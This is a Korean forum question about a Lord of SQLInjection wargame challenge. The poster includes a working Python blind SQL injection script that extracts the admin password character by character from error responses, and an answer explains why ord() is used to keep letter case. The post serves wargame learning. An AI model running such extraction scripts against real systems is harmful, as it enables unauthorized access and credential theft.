sql 인젝션 질문이 있습니다.
본문
여기에 sql 문제를 질문드려도 될지 모르겠지만 물어볼때가 없어서요
lord of sqlinjection 21문제를 풀고 있습니다.(https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php)
풀려고 코딩을 짰는데 갑자기 드는 의문점이 있습니다.
import requests
import string
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookie = dict(PHPSESSID="쿠키값")
asc = string.digits+string.ascii_letters
print(asc)
result=""
for i in range(1,33):
for j in asc:
param = "?pw='or id='admin' and if(right(left(pw,"+str(i)+"),1)="+str(j)+",(select 1 union select 2),1)%23"
#param = "?pw='or id='admin' and if(ord(substr(pw,"+str(i)+",1))="+str(ord(j))+",(select 1 union select 2), 1)%23"
print(param)
res_url = url+param
response = requests.get(res_url, cookies=cookie)
if response.text.find("Subquery")>=0:
print(str(i)+"번째 패스워드 :"+j)
result+=j
break
print("pw :"+result)
문제의 정해진 패스워드 값이 문자일거고, 코드에서 임의로 걸러내기 위한 값도 문자인데 왜 아스키코드로 굳이 변경을 해서 하는걸까요? 위에 문제로 아스키로 안바꾸고 문자대로 비교하니까 숫자는 파싱이 되는데 문자는 파싱이 안되네요?
!-->
답변 1
제 개인적인 생각입니다.
mysql 의 varchar 필드나 if 함수 같은 것들은 대소문자를 구분하지 않습니다.
예를 들어 mysql 에서
select if('a'='A', 'true', 'false');
이런 쿼리를 실행하면 true 가 출력 됩니다.
위 문제에서 문자 비교 대상이 0-9a-zA-Z 이기 때문에
비밀번호 추출 시 정확하게 대소문자를 구분하여 추출 하려는 목적인 듯 합니다.
디비 pw 값이 AAAAA 인 상태에서 ord 를 없이 실행 할 경우 결과 값이 aaaaa 로 출력 될 확율이 높습니다.
!-->
답변을 작성하시기 전에 로그인 해주세요.